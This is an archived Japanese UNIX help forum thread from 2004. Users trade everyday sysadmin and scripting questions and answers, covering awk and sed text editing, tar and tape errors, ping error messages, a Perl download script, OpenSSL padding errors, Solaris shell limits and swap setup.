「指定カラム位置より前の文字列が入ったファイル」と
「指定カラム位置より後の文字列が入ったファイル」に分割する。
2. paste コマンドを使用して、セパレータを元のファイルが使用していない文字を指定して、
1で作ったファイルを結合する。
3. sedコマンドでセパレータ文字を挿入したい文字列に置き換える。


ワークファイルができてしまって、UNIXっぽくないので、
これ以外にもっと簡単なやり方がないか探しているのですが、
もしご存知の方いらっしゃいましたら、ご教授いただけないでしょうか。
よろしくお願いします。

No. 3675 # 68user 2004/04/13 (火) 10:35:37
>>3674 vm
やりたいことがよくわからないので、入力と出力のサンプルを
提示してください。

No. 3676 # zsh 2004/04/13 (火) 13:14:57
>>3675 68user
多分このような事を考えているのだと思います。

■入力ファイル
aaaa,bbbb
cc,ddd
eeeeee,ffff

■挿入文字列
00

■出力ファイル
aaaa00bbbb
cc00ddd
eeeeee00ffff

>>3674 vm
で、やりたい事が上記の通りだとすると、
perlとかawkで出来ると思います。

No. 3677 # vm 2004/04/13 (火) 17:42:20
こんにちはvmです。
説明不足でした。

入力データは1ファイルで、

AAAABBBCCCCC
DDDDEEEFFFFF
GGGGHHHIIIII
  :

という感じで項目間の区切り無しのレコードが
いくつか入っているという状態で、

AAAABBB****CCCCC
DDDDEEE****FFFFF
GGGGHHH****IIIII
  :

1行目で見ると、BBBとCCCCCの間に****を挿入するということを、
シェルかUNIX標準コマンドでやりたいと考えています。

先に書いた私の手順ですと、一度cutコマンドで

AAAABBB
DDDDEEE
GGGGHHH
  :

CCCCC
FFFFF
IIIII
  :

2つのワークファイルを作るので手順も多くて面倒なため、
他にやり方がないものかと考えている次第です。
もっと単純化できる方法がありましたら、ご教授ください。
お願いいたします。

No. 3678 # zsh 2004/04/13 (火) 19:10:14
>>3677 vm
区切り文字なしだとすると、文字列の挿入個所は何を基準に判断するのでしょうか?
下の例を見る限りでは、行頭からのバイト数で分割してるように見えますが、あってますか?

後気になった点はUNIXの標準コマンドというのは
どこまでを指すのでしょう?
インストール時点でインストールされるコマンドは、
OS・インストールオプションによって異なると思いますが・・・

No. 3679 # vm 2004/04/14 (水) 21:04:08
こんにちはvmです。

>下の例を見る限りでは、行頭からのバイト数で分割してるように見えますが、あってますか?

すみません。そのとおりです。

>後気になった点はUNIXの標準コマンドというのは
>どこまでを指すのでしょう?

POSIXに準拠しているコマンドのことを指していました。

あれからちょっと調べてみたのですが、

awk '{printf("%s%s%s\n", substr($0,1,2), "TUIKA", substr($0,3));}' target.txt > result.txt

awkコマンドであれば、私のやりたいことがワークファイルを作らずに
実現できそうなことがわかりました。

どうもお騒がせしました。
これより良い方法がございましたら、ご教授ください。

No. 3680 # tgr [URL] [E-mail] 2004/04/15 (木) 09:25:34
gfg

No. 3681 # 馬場 2004/04/15 (木) 10:54:14
宜しくお願いします。

tarコマンドを実行した際に以下のメッセーシ゛が出たんですが、
何を意味しているかわかりません。
ご教授ください。

--------------------------------------------------
cd /
tar -cvf /dev/rmt0n ./usr/*
tar -rvf /dev/rmt0n ./var/* ← メッセーシ゛が出ます
--------------------------------------------------
表示メッセージ
tar:blocksize=0
tar:backspace over record failed
--------------------------------------------------
ご教授ください。宜しくお願いします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3682 # ryo 2004/04/15 (木) 21:47:40
mailxコマンドに関してですが
件名がベース64で本文がJISコードのメールを読む時、
以下の状態になってしまいます。
直す方法を知っている方おりましたらお教えください

1.件名が日本語の長文だと、以降の画面が文字化けします
2.JISコードの本文を開くと
    「---Executing: kterm sh: kterm: 見つかりません」
    とでてしまい表示できません

No. 3683 # 68user 2004/04/16 (金) 04:28:19
>>3679 vm
> これより良い方法がございましたら、ご教授ください。
awk より良い方法かどうかはわかりませんが、
    sed 's/^\(..\)/\1TUIKA/' < target.txt > result.txt
というのもあります。

>>3681 馬場
すでにアーカイブ済のファイルが出現したため、前に戻って
置き換えようとしたが、テープドライブのため前に戻る機能が
なかった、ということではないですかね。

>>3682 ryo
Solaris2.6 ではその症状は出ませんでした。

No. 3684 # Phantom 2004/04/16 (金) 10:02:39
こんにちは。Phantomと申します。

ネットで色々調べた結果ちょっと、見当たらなかったので質問させてください。
アクセスログの話なのですが、Web/FTPサーバのアクセスログでは有りません
(Web/FTPのアクセスログの情報は腐るほど有りました。また、情報が全く無か
ったと言うのは嘘で、高いソフトウェアやASPぐらいの情報しか出てこず、個人
の私としては手が出ません。)。

ローカルのLinux環境内でアクセスされたファイルのログを取りたいと考えて
いるからです(Unix系OSで実現するのが難しいから情報が少ないのでしょうか?)。
当然、アクセスログなのでアクセスしたユーザ名、時間、アクセス先などの情報を
見たいと思っています。
セキュリティの事もあるのですが、私自身が何時ファイル(特に設定ファイル)の
編集を行ったかという履歴を見たいからです。

それで、これに見合った(フリー)ソフトウェアやシェルスクリプト等が存在しまし
たら、紹介していただければ幸いです。(それとも、もしかしてすごく簡単にPerl
とかで組めちゃったりするんでしょうか?)

No. 3685 # 68user 2004/04/16 (金) 11:24:16
>>3684 Phantom
履歴や変更点の確認をしたいということなら、cvs や subversion
などのバージョン管理ツールを使うのがよいでしょう。

履歴を何段階でもとることができ、細かい修正点を記録できるという
利点がありますが、その一方でファイル更新とバージョン管理とが
密に連携しているわけでないので、バージョン管理ツールへの登録
忘れが発生する可能性がある、という欠点があります。

あるいは
> ユーザ名、時間、アクセス先
だけの情報だけでよいなら、
      - ユーザ名、時間、ファイル名を記録する
      - エディタを起動する
      - (必要なら) 編集前と編集後のファイルをどこかに保存する
というファイル編集用スクリプトを作成し、それを使うように
すればよいでしょう。もちろん、このスクリプトを使わずに直接
ファイルを修正してしまうとアウトです。

もっと厳密にやりたいならシステムコールをフックするタイプ
のものが必要です。たとえば Linux Security Module (LSM) や
      Sysrace: http://www.citi.umich.edu/u/provos/systrace/linux.html
など。

しかしこれらの主目的はシステムコールを許可するかしないかを
決めるためのものなので、ログを記録できるような仕組みがある
のかどうかはわかりません。

> Unix系OSで実現するのが難しいから情報が少ないのでしょうか?
Windows なんかだと API のフックが簡単にできますが、UNIX は
そこらへんの機能が弱いのです。

No. 3686 # Phantom 2004/04/16 (金) 12:12:08
>>3685 68user
凄く素早いレス有難う御座いました。
沢山の情報を与えてくださって感謝しております。

> cvs や subversion
成る程。バージョン管理ツールという手が有りましたか。

> ファイル編集用スクリプトを作成
作ってみたいと思います。ただ、仰る通り私、忘れっぽいので直接ファイル
編集しちゃって失敗しそうです。

> LSM や Sysrace
私には難しいみたいですが、一つの手として調べてみます。

No. 3687 # zsh 2004/04/16 (金) 12:53:07
>>3686 Phantom
>作ってみたいと思います。ただ、仰る通り私、忘れっぽいので直接ファイル
>編集しちゃって失敗しそうです。
エディタコマンドと同じ名前のスクリプトを作成し、
スクリプトを格納したディレクトリを環境変数PATHの先頭に追加しては如何なでしょうか?

No. 3688 # scott 2004/04/17 (土) 15:00:50
Solaris7にて/dev/consoleに出力しているログを横取りして
ファイルに落としたいんですが、なにかいい方法はありますか?
ありましたらご教授願います。

No. 3689 # MM 2004/04/21 (水) 00:00:53
こんにちは。

あるSolarisからLinuxにPingすると、

do you want to ping broadcast? Then -b というメッセージがかえってくるのですが、
どういう意味ですか?他にも10台あって、この2台以外はお互いちゃんとPingできるのですが、どうしてでしょうか?

SolarisのIPとホストは172.17.155.01 AT002といいます。
Linuxのほうは172.17.155.17 AI007といいます。

SolarisからLinuxにPingすると"no answer from AI" といわれ。
LinuxからSolarisにPingすると"do you want to ping broadcast? Then -b" なります。

教えてください。
MM

No. 3690 # 68user 2004/04/21 (水) 00:51:00
>>3688 scott
syslog に出力するようにして、syslog.conf の方で
ログファイルにも落とすようにする、という方法しか
思いつきませんでした。

>>3689 MM
> do you want to ping broadcast? Then -b
> どういう意味ですか?
x.y.z.255 などのブロードキャスト宛に ping したいので
あれば、-b オプションを付けなさい、ということです。

とりあえずネットワーク設定がうまくいっていないようなので、
そこを見直すのがよいのではないでしょうか。たとえば
/etc/hosts に変な記述がないかとか、ネットマスクは同じか
とか、IP アドレスを直接指定して ping するとどうなるかとか。


で、質問です>どなたか

質問 1.
「Do you want to ping broadcast」でぐぐると、
    http://licensing.steeleye.com/open_source/diffs/ping.c
が見つかりました。

    #ifdef linux
        if (source.sin_addr.s_addr == 0) {
            int probe_fd = socket(AF_INET, SOCK_DGRAM, 0);
            dst.sin_port = htons(1025);
            if (connect(probe_fd, (struct sockaddr*)&dst, sizeof(dst)) == -1) {
                if (errno == EACCES) {
                    if (broadcast_pings == 0) {
                        fprintf(stderr, "Do you want to ping broadcast? Then -b\n");
                        exit(1);
                    }
                }
            }
        }
        bind(s, (struct sockaddr*)&source, sizeof(source));
    #endif

とありますが、何をやってるのかさっぱりわかりません。
source.sin_addr.s_addr が 0 なら、UDP でポート 1025
に connect? なんのために? connect したら、それを bind?
なんのため?

質問 2.
あるディストリビューションの Linux で採用している ping の
ソースを見たいんですが、どこを探せばいいでしょうか? たとえば
RedHat ならどこを見ればよいですか?

No. 3691 # has 2004/04/22 (木) 00:36:04
>>3690 68user
>質問 2.
>あるディストリビューションの Linux で採用している ping の
>ソースを見たいんですが、どこを探せばいいでしょうか? たとえば
>RedHat ならどこを見ればよいですか?

いつもどおり答えになってませんがDebian GNU/Linuxのは見つかりました。
http://packages.debian.org/stable/net/netkit-ping

linuxは基本的にtar.gzやtar.bzでの配布よりもrpm(redhat package manaer)
形式(ソースなら*.srpm、*.src.rpmの場合もあり)が普通みたいですよ。

なお今回は、[ping srpm ソース]で検索→[netkit-ping]で検索→到達です。
# 本当はもっといろいろ遠回りしてますが…

No. 3692 # 流離のカメソらいだ〜 [E-mail] 2004/04/22 (木) 20:59:55
僕は某高専2年の電気科なんですが,C言語の授業があって学校のPCのOSがunixなんですよね〜。
Windowsで作成した文書ファイル(拡張子.c)をFDでunixに送る場合,文字化けしますよね?
それを防止する方法を教えて下さい。メールで返答していただければ幸いです。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3693 # vm 2004/04/23 (金) 13:04:14
>>3692 流離のカメソらいだ〜
一般的にはWindowsの標準文字コードがS-JISで、UnixがEUCだからそうなります。
FDに保存する際にエディタでEUCに変換しておくか、
エディタにその機能がないかUnix上で変換かける場合は、nkfコマンドを使ってください。

No. 3694 # abc 2004/04/24 (土) 13:40:28
texの文書で、dviのファイルをpdh形式に変換したいのですが、人に聞いた
ところGhostscriptを使ってできるとのことで、早速GSを落としてみたので
すが、具体的な操作など教えてもらえれば幸です。

No. 3695 # MM 2004/04/24 (土) 20:58:16
68userさん、ありがとうございます。

>x.y.z.255 などのブロードキャスト宛に ping したいので
>あれば、-b オプションを付けなさい、ということです。

x.y.z.0もブロードキャスト宛ということになるのでしょうか?

No. 3696 # 68user 2004/04/27 (火) 23:02:52
>>3691 has
なるほど、ありがとうございます。Debian の ping は、
      Do you want to ping broadcast? Then -b
というエラーは出さないようですね。

>>3695 MM
> x.y.z.0もブロードキャスト宛ということになるのでしょうか?
x.y.z.0/255.255.255.0 はネットワークアドレスです。

ただ、BSD 系・BSD 系を元にした実装 (Solaris・Linux など) は
ネットワークアドレスに対する ping に対して返事を返します。
Windows 系はたしか返事を返さないはず (ネットワークアドレスに
対する ping だけでなく、ブロードキャストへの ping も返さない)。

だから、ネットワークアドレス宛の ping であっても、ブロード
キャスト宛の ping と同等に機能する環境もあります。

ただし ping は
      「この宛先はブロードキャストアドレスだから `Do you want to
          ping broadcast? Then -b' というメッセージを出そう」
などと判断しているわけではなく、
>>3690 68user
に書いたとおり、connect して errno が EACCES ならこのメッセージを
出力して終了しているだけです。しかしこの connect の意味がさっぱり
わからないので、「ネットワーク設定がおかしいのでは?」以上のアドバイス
はできません。

てゆーか、どなたか >>3690 の意味を教えてください。

>>3694 abc
> texの文書で、dviのファイルをpdh形式に変換したいのですが
pdh は pdf の typo ですか?

gs 付属の ps2pdf はいまいちで、今どきは dvipdfm を使うと
聞いたことがありますが、最新情報や細かなノウハウは知りません。
よって、「dvi pdf 変換」などで検索してみるか、2ch の UNIX 板
などで質問してみてはいかがでしょうか。

No. 3697 # うほほ 2004/04/27 (火) 23:05:16
はじめまして、こんばんは。
LINUX, Apache, PHP, MySQL、HTMLでのシステムを考えているのですが、
ちょっと行き詰まってしまって、、、よろしくお願いいたします。
ページがジャンプした瞬間に、あるフィールドをいきなり入力待ち状態にしたいのです。
通常はページに移動後マウスなどで入力したいフィールドを一度クリックする必要があります。
現在フィールドはフォーム<input>タグで作成しています。

カスタマーは(バーコードを使って>マウス1クリック無しで)
いきなり入力したい!というのがご要望です。

関連のページのご紹介でも何でもかまいませんので、
是非、よろしくお願いいたしますm(_ _)m

No. 3698 # 68user 2004/04/28 (水) 00:06:03
>>3697 うほほ
たとえば http://www.google.co.jp/ がその技を使っています。

ソースを見ていただければわかりますが、
    <body onload="document.hoge.fuga.focus()">
        <form name=hoge>
            <input type=text name=fuga>
        </form>
    </body>
とします。

No. 3699 # has 2004/04/28 (水) 02:45:22
>>3696 68user
>なるほど、ありがとうございます。Debian の ping は、
> Do you want to ping broadcast? Then -b
>というエラーは出さないようですね。
そーゆーことですか、了解です。ならredhat9では次の通りになりました。
% strings /bin/ping | grep Then
Do you want to ping broadcast? Then -b
%

No. 3700 # sagara [E-mail] 2004/04/28 (水) 19:15:37
ファイルをダウンロードするスクリプトを作成していますが、
ファイルサイズが大きいとファイル内容は一部しかダウンロードできません。
sysreadの戻り値$Ret_Lenは、正しい値が返ってきます。
最後のprint文で、全てを出力していません。あるいは、$INBUFに全てが
格納されてないかです。
全ての内容をダウンロードするには、どうすべきなのでしょうか?

    $size = -s $dl_file;
    open(INF, $dl_file) or &CgiError( "Error: Unable to open file $dl_file: $!\n" );
    binmode(INF);
    $Ret_Len = sysread(INF, $INBUF, $size);
    if (defined $Ret_Len) { #エラーではない
        if ($Ret_Len >0) { #読み取りの成功
            ;
        } else { #EOF
            close(INF);
        }
    } elsif ($! == EAGAIN) { #ブロックエラー
        $Ret_Len = sysread(INF, $INBUF, $size);
    } else {
        die "sysread() error: $!";
    }

    $NowMime = substr( $f_name, rindex($f_name, ".")+1, length($f_name) );
    $NowMime =~ tr/a-z/A-Z/;
    $RetMime = "";
# 2001.12.19 added by ishikawa ->
    #$mimeMach = 'dummy';
# 2001.12.19 added end ishikawa <-
    if( $NowMime ne "" ){
        if( open(CB, "./lib/mime.types") ){
            @mimein = <CB>;
            close( CB );
            foreach( @mimein ){
    if(/^[^#\n\r]/){
     s/[\t]+/\t/;
     ($MimeHead,$MimeBody) = split(/\t/);
# 2001.12.19 added by ishikawa ->
     if( defined $MimeBody ){
# 2001.12.19 added end ishikawa <-
     foreach $mimeMach ( split( /\s/, $MimeBody ) ){
     $mimeMach =~ s/\s//g;
     $mimeMach =~ tr/a-z/A-Z/;
     if( $mimeMach eq $NowMime ){
     $RetMime = $MimeHead;
     last;
     }
     }
# 2001.12.19 added by ishikawa ->
     }
# 2001.12.19 added end ishikawa <-
     if( $RetMime ne "" ){ last; }
    }
            }
        }
    }

    if( $RetMime eq "" ){
        print "Content-Type: application/octet-stream\n";
        print "Content-Disposition: inline; filename=\"$f_name\"\n\n";
    }
    else{
        print "Content-Type: $RetMime\n";
        print "Content-Disposition: inline; filename=\"$f_name\"\n\n";
    }

    binmode(STDOUT);
    print $INBUF;

No. 3701 # 68user 2004/04/28 (水) 21:50:48
>>3700 sagara
- 「ファイルサイズが大きい」とは具体的に何バイトですか?
- あるバイト数以上のファイルの場合、常にダウンロードできないのですか?
- 大きいファイルを処理するのに何秒かかりますか?
- length($INBUF) の値は?
- $INBUF の内容をファイルに出力すると、正常に出力できますか?
- 「sysreadの戻り値は正しい」というのは「正常にダウンロード
    できなかった場合でも、sysread の戻り値は正しい」ということ
    ですか?
- sysread ではなく read を使うとどうなりますか?
- OS 名・OS のバージョン・perl のバージョンは何ですか?

あと、コメント部分や関係ない箇所は極力削ってから投稿しましょう。
仕事のソースであれば特に。

No. 3702 # うほほ 2004/04/29 (木) 17:10:34
>68USER様
早々のお返事をありがとうございました。
やってみたら、ばっちりでした〜!
本当にありがとうございました♪

No. 3703 # lock 2004/05/04 (火) 09:58:30
はじめまして。よろしくお願いします。

環境:NetBSD1.5.2、Apache2.0.49

以下に示す接続が、4日くらいたっても消えません。
これは、クライアントがhttpで何かをダウンロード中の状態の1つということでしょうか?
ずっとこの状態のままなのはどういう原因が考えられますでしょうか?

Apacheのログには、このクライアントからのアクセスログは存在しませんでした。
FIN_WAIT_2の状態が終了した後で書き込まれるのでしょうか?


%netstat -an (一部抜粋)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 15964 210.*.*.*.80 133.*.*.*.15241 FIN_WAIT_1
tcp 0 16460 210.*.*.*.80 133.*.*.*.6322 FIN_WAIT_1
tcp 0 16500 210.*.*.*.80 133.*.*.*.19339 FIN_WAIT_1

No. 3704 # 68user 2004/05/04 (火) 19:45:56
>>3703 lock
サーバ側から close すると (正確にはアクティブクローズ
すると) FIN_WAIT_1 になります。普通はこの後にクライアント
から ACK・FIN が帰ってきて FIN_WAIT_2 に遷移しますが、
この辺がうまくいっていないものだと思われます。

> ずっとこの状態のままなのはどういう原因が考えられますでしょうか?
わかりません。普通は FIN_WAIT_1 のままにならないように
タイマか何かがあると思いますが、FIN_WAIT_1 タイマって
存在するのかな? (FIN_WAIT_2 タイマはあるけど)

> FIN_WAIT_2の状態が終了した後で書き込まれるのでしょうか?
これまたわかりません。apache のソースを読みましたが、どこで
ログを吐いてるのかすらわかりませんでした。

とまぁ何の役にも立たない回答になってしまいましたが、
数日様子を見てはいかがでしょうかね。

No. 3705 # hash 2004/05/04 (火) 23:12:07
数日前、FreeBSD 5.2Rをインストールしたのですが、起動時(ログイン前)に

Configuring syscons: keymap blanktime

と表示され、長時間とまってしまって困っています。
その後ログインプロンプトが表示され、ログイン可能ですし、
その他の操作に問題も無い感じなのですが、毎度の事なので釈然としません。

解決方法は無いものでしょうか?それともこういうものなんのでしょうか?
よろしくお願いいたします。

No. 3706 # 68user 2004/05/04 (火) 23:28:38
>>3705 hash
> Configuring syscons: keymap blanktime
の後の sendmail 起動時に固まっているものと思われます。

内容は若干グダグダですが、こちらをどうぞ。
    http://home.jp.freebsd.org/cgi-bin/thread?mesid=%3c200308030422%2eAA02439%40nt%2em8%2edion%2ene%2ejp%3e

てゆーかうちのマシンも sendmail 起動時に固まりますが、
めんどくさいので止まったら Ctrl-C を押してます。

No. 3707 # hash 2004/05/05 (水) 02:07:03
>> 3706
早速のお返事ありがとうございます。
ご指摘頂いた通り、原因はメッセージの後のsendmailの起動でした。
> Configuring syscons: keymap blanktime
のメッセージから検索しても、解決法が見つからないのはあたりまえでしたね。

ご紹介いただいたウェブサイトに目を通すのに時間がかってしまいましたが、
解決することができました。

私の場合はDNSサーバの指定部分で、ADSLモデムの提供しているDNSで解決しようとしていたのですが、
モデムのDNSサービスがIPv6に対応していない為、名前解決できずTime outを待っていたようです。
DNSサーバの指定をプロバイダーのアドレスにしたら解決しました。

起動する度に気になっていたので、すっきりしました。
どうも、ありがとうございます。

No. 3708 # Sjr 2004/05/05 (水) 20:19:41
DESについて質問させて下さい。
OpensslコマンドでDESを使っているのですが、間違った鍵で復号しようとすると
bad decryptというエラーがでます。パリティチェックはOKとします。
これはDESの仕様上、エラーが検出できるということなのでしょうか?
DESというと単にビット単位の置換だと思っているので、エラーが検出できるのが
ちょっと不思議です。
TripleDESの中ででも、いきなり関係無い鍵で復号したりしてますから、さらに
不思議です。

なにか根本的に理解が違っている気もするので、宜しければご教授ください。

No. 3709 # 68user 2004/05/05 (水) 22:59:32
>>3708 Sjr
`bad decrypt' を出しているのは多分 rypto/evp/evp_enc.c の

    int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl){
          b=ctx->cipher->block_size;
          n=ctx->final[b-1];
          if (n > b){
                EVPerr(EVP_F_EVP_DECRYPTFINAL,EVP_R_BAD_DECRYPT);

だと思います。PKCS#5 で定義されている操作に矛盾が発生すると
このエラーが発生すると思っています。

ところで PKCS#5 の日本語訳のありかをご存知の方いらっしゃい
ませんか? (解説している書籍でも可) 以前自分で訳してみたものの、
よく理解していないため何が何だかわからない日本語ができあがって
しまいました。

No. 3710 # Sjr 2004/05/06 (木) 10:56:55
68userさん、ご回答有難うございました。
恥ずかしながらPKCSというのは知りませんでした。PKCS#5というのは、
簡単に言うと文字列を鍵とする場合の決まりごと、みたいなものでしょうか?
頂いたソースやPKCS#5を斜め読みしてもまだ今一つピンときていません。
勉強したいと思います。

今のところなんとなく、PKCS#5でのPS(Padding String)についての記述を
見て、Padding ruleによってはエラーが検出できるのではと予想しています。

やっぱりアルゴリズムを見ていくしかないですねぇ…

No. 3711 # 68user 2004/05/06 (木) 11:54:23
>>3710 Sjr
> 簡単に言うと文字列を鍵とする場合の決まりごと、みたいなものでしょうか?
決まりごとというか、RSA が作った決めごとですね。

DES は 64bit のデータを暗号化・復号化する機能しか持っていません
(だから DES は 64bit ブロック暗号)。

これでは 64bit を超えるデータを暗号化できないので、データを分割して
暗号化する方法の一つが CBC モード (FIPS PUB 81 で規定)。一方、データ
列が 64bit に満たない場合のパディング方法などを規定しているのが
PKCS#5 です。

PKCS#5 でのパディングは
      データ1バイトの場合: A -> A 07 07 07 07 07 07 07 としてから暗号化
      データ2バイトの場合: A B -> A B 06 06 06 06 06 06 としてから暗号化
                  :
      データ7バイトの場合: A B C D E F G -> A B C D E F G 01 としてから暗号化
      データ8バイトの場合: A B C D E F G H -> A B C D E F G H 08 08 08 08 08 08 08 08 としてから暗号化
としていますね。

と書いているうちにわかったような気がしますが、
      http://www.jp.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssl/crypto/evp/evp_enc.c?rev=1.1.1.1.2.4
の EVP_DecryptFinal_ex が呼ばれるときの流れは

      残りブロックサイズ = ctx->cipher->block_size;
      if (残りブロックサイズ > 1){
          /* 残りはパディング部分のみ */
          n=ctx->final[b-1]; /* 最後の 1バイトを読む。その値はパディング長であるはず */
          if (n > b)
              /* パディング長が残りブロックサイズを超えているならエラー */
              for (i=0; i<n; i++)
                    パディング部分の値が全て n であることをチェック
          /* ここまできたら、パディング部分が正しいことがわかる */
          n=ctx->cipher->block_size-n; /* パディング部分を除いたブロックサイズを取得 */
          for (i=0; i<n; i++) /* パディング部分より前のデータについて出力バッファに書き出す */
              out[i]=ctx->final[i];

てな感じでしょうか。

No. 3712 # 68user 2004/05/06 (木) 12:05:05
一応補足。

>>3708 Sjr
> DESというと単にビット単位の置換だと思っているので、エラーが検出できるのが
> ちょっと不思議です。
DES 自体は、鍵に含まれるパリティを以外の誤り検出機能はない、という
理解で正しいと思います。

しかし、PKCS#5 においては誤った鍵を使うと
>>3711 68user
> データ1バイトの場合: A -> A 07 07 07 07 07 07 07 としてから暗号化
> データ2バイトの場合: A B -> A B 06 06 06 06 06 06 としてから暗号化
この最後のデータ列 (06 06 06 06 06 06 など) がめちゃくちゃになって
しまうため、パディングチェック時にエラーとなる、ということですね。


なお、PKCS#5 は DES に限らず、ブロック暗号一般に適用できます。ただし
PKCS#5 は 64bit 暗号に特化した書き方がされているので、64bit 超暗号に
一般化したものが PKCS#7 に規定されています。

# と言っても、mod 8 とか書いてあるか、mod k と書いてあるかの違いしか
# ないような気がしますけど。

No. 3713 # Sjr 2004/05/07 (金) 10:09:34
x168userさん、詳細な説明ありがとうございます。
誤りの検出については、ほぼ理解できたと思います。


>データ8バイトの場合: A B C D E F G H -> A B C D E F G H 08 08 08 08 08 08 08 08 としてから暗号化

のところは意外でした。データが増えてしまうのでしょうか。
確かにこうしないとパディングされているのかされていないのかが
分からない、ということなのでしょうけど。
よくよく見ていくと色々と考えられていて面白いですね。

No. 3714 # SS 2004/05/10 (月) 14:58:25
初歩的な質問です。
複数ファイルを1ファイルにcatで結合しようとしたところ次の問題が発生しました。
各ファイルのファイル名は20文字程あり、それら10ファイルをまとめて作成したい
ファイル名も20文字程あります。cat以下コマンドを入力していくと、255文字で
入力不能となります。環境はSolarisへのTelnet接続、シェルはkshを使っています。
また、結合したい10ファイルは1つのディレクトリにある全てのファイルです。
ファイル名を短くするとか一度にやらないとか方法はあるでしょうが、画期的な方法が
あれば宜しくお願いします。

No. 3715 # ふくし [E-mail] 2004/05/10 (月) 18:01:22
>>3714 SS
さん、

ファイル名に共通点ありますか?

$ cat aaa.txt
a
b
c
$ cat bbb.txt
1
2
3
$ cat ccc.txt
x
y
z
$ cat *.txt
a
b
c
1
2
3
x
y
z

No. 3716 # 68user 2004/05/10 (月) 21:08:55
>>3714 SS
Solaris8 では sh・ksh・csh いずれも 255 文字の制限があるようで、極めて
不愉快ですね。

ワイルドカード (glob) を使う以外の別解としては、文字数の制限がある
のはコマンドラインからの入力時だけのようなので、シェルスクリプト内で
      #!/bin/ksh
      cat file-a file-b ..... > result
などとすれば OK なようです。

あとは、tcsh や bash を使うとか。

No. 3717 # SS 2004/05/11 (火) 13:59:04
シェルスクリプトで実現することにしました。ありがとうございました。

No. 3718 # zsh 2004/05/11 (火) 16:54:18
>>3717 SS
3716で68user様もさらっと書いてますが、ワイルドカードをを使用する事でも回避可能です。
% cat * > outfile

それにしてもこんな制限があるとは知りませんでした。
で、確認してみたところ、255文字ではなく257文字まで入力できました。
・・・・・・なんでこんなに中途半端なんでしょう?

No. 3719 # lock 2004/05/13 (木) 00:00:43
>>3074 68user
返事遅れて申し訳ありません。
回答ありがとうございます。

状況は、全く変化せずFIN_WAIT1の状態のまま残っています。
タイマーはないようです。
OSを再起動すればなくなるのでしょうが、それは出来ないので困っています。
強制的にクローズする方法はありませんでしょうか?

apacheを再起動しても変化なしでした。

No. 3720 # 68user 2004/05/13 (木) 00:18:07
>>3719 lock
であれば、NetBSD のバグだと思われます。

http://www.netbsd.org/Misc/query-pr.html#search
http://www.netbsd.org/MailingLists/ で検索してみましたが、
それっぽいものはありませんでした。

# FIN_WAIT_1 が残るというメールはありましたが、NetBSD 1.3.1
# 以前の問題のようです。

これ以上はわたしには全くわからないので、netbsd.org の
メーリングリストで質問してみてはいかがでしょうか。

No. 3721 # 大谷 2004/05/15 (土) 17:41:21
初めてメールします。CGIを用いてGREE.jpのようなものを作りたいと考えているのですが、何かいい案はございませんか?

No. 3722 # 68user 2004/05/15 (土) 17:53:34
>>3721 大谷
現状何が問題なのかを提示せずに いきなり「何かいい案は?」と
問われても、何と答えればよいのかわかりません。

No. 3723 # つる 2004/05/16 (日) 17:56:22
シェルスクリプト内の変数の使い方について教えて下さい。
環境は、HP-UX11.00で、Cシェルです。

a.cshとb.cshの2つのシェルがあり、
b.cshは、a.cshから呼ばれる動きです。

この時、a.csh内で設定した変数を、b.csh内でもしたいのですが
上手くいきません。

- a.csh -----------
#!/bin/csh

set title = "test log"
./b.csh

- b.csh ------
#!/bin/csh

echo "Subject: $title" >> kekka.log
echo "" >> kekka.log

というように使いたいのですが、上手くできません。
よろしくお願いします。

No. 3724 # zsh 2004/05/16 (日) 18:18:46
>>3723 つる
setenvしてください。

No. 3725 # ふくし [E-mail] 2004/05/19 (水) 15:38:15
留学歴を調べててわかったんですが、
あべ晋三さんって Mac のノート(G4 パワーブック?)で
Unix を使って日本を動かしてるらしい。

    http://www.s-abe.or.jp/image/pc_desk.gif

「./configure; make new_japan; make install」ってのがすごいですね。
実装が知りたい (^^)



さて質問です。tcup という有名なレンタル掲示板に
「プログラム書き込みを禁止する」という設定項目があり、
これを有効にするといわゆるエロ広告がカットできるようなんですが、
どういう実装になってるんでしょうか。
HTTP-AGENT 環境変数とかだったらフツー偽装しますよね。
(いぜん PC を docomo の携帯に偽装して「グリコの抽選の応募」を
    連続応募する裏ワザというのがあった)
ていうか、Internet Explorer だってコンピューターのプログラムには
違いないわけで。どうやって判別できるんでしょう?

No. 3726 # 68user 2004/05/19 (水) 18:21:09
>>3275 kotaro
> 「./configure; make new_japan; make install」ってのがすごいですね。
何ヶ月か前にほうぼうでネタにされてましたね。configure と make は ; で
なくて && でつなぐべきだとか、いったい何を grep してるんだとか、パス
ワード入力時に何で * がエコーバックされるんだとか。

http://www.s-abe.or.jp/ の web も XOOPS を使っているようで、ページ
運営者がそういう系統の人なんでしょうね。

> 「プログラム書き込みを禁止する」
http://www.teacup.com/gbbs/l1new.shtml の「プログラム投稿(迷惑投稿)禁止」
のことですね。

    http://8520.teacup.com/pon/bbs
        あれれ? 投稿者:PON  投稿日:10月10日(金)00時00分26秒

以降の発言を見るに、cookie を食べてくれるかとか、referer を
渡してくるかとか、Javascript を正しく解析してくれるかとか、
そういう感じの判定をしているものと思われます。

No. 3727 # tt 2004/05/22 (土) 16:39:13
質問です。
Solaris8で、バックアップからのフルリカバリを行う際、
パーティションを作成した後にnewfsでファイルシステムの作成を行いますが、
このときSWAP領域にも、newfs /dev/rdsk/.....というようにファイルシステムを
作成するものなのでしょうか?
vfstabファイルによると、SWAPはファイルシステムがufsでなくswapですので、どうなのかと思いまして。
googleで解説ページを検索すると、SWAPにnewfsを行っているサイトもあるのですが、
自分の持っている書籍では行っていません。

ちょっと分からなくなってしまったので、宜しくお願い致します。

No. 3728 # 68user 2004/05/22 (土) 19:00:17
>>3727 tt
ufs ファイルシステムを作るわけではないので、newfs は不要です。

ファイルを swap として追加する場合も、
      # mkfile 512m /foo/bar/swap512m
      # swap -a /foo/bar/swap512m
と、ゼロ埋めのファイルを用意して swap -a するだけですので。

No. 3729 # tt 2004/05/24 (月) 00:57:57
>>3728 68user様
ご回答ありがとうございます。
やはり不要なのですね。
ただ、それでもnewfsを行った場合、何か不具合が出るのでしょうか?
「不要」とは、「行っても問題無いが、する必要が無い」と言った意味になりますでしょうか。
